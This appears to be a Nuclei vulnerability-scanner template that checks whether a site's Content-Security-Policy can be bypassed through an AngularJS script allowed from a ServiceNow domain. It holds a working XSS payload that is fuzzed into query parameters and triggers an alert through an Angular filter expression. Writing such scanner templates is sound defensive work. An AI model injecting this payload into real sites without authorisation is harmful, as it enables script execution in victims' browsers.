id: servicenow-kbcprod-csp-bypass

info:
  name: Content-Security-Policy Bypass - ServiceNow KBCProd
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,servicenow-kbcprod,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "servicenow.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: servicenow_kbcprod_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://kbcprod.service-now.com/scripts/angular_includes_1.5.11.jsx"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "servicenow_kbcprod_csp_xss == true"
# digest: 490a0046304402202e02dd34bcdcd77dc9803b07018a0d05a245de2e74b78ef9d38cc7b9fb34012102206aadf9feb94334a85555800d61b175e046d0ef475f9deac6c7c274b12cc9d41d:922c64590222798bb761d5b6d8e72950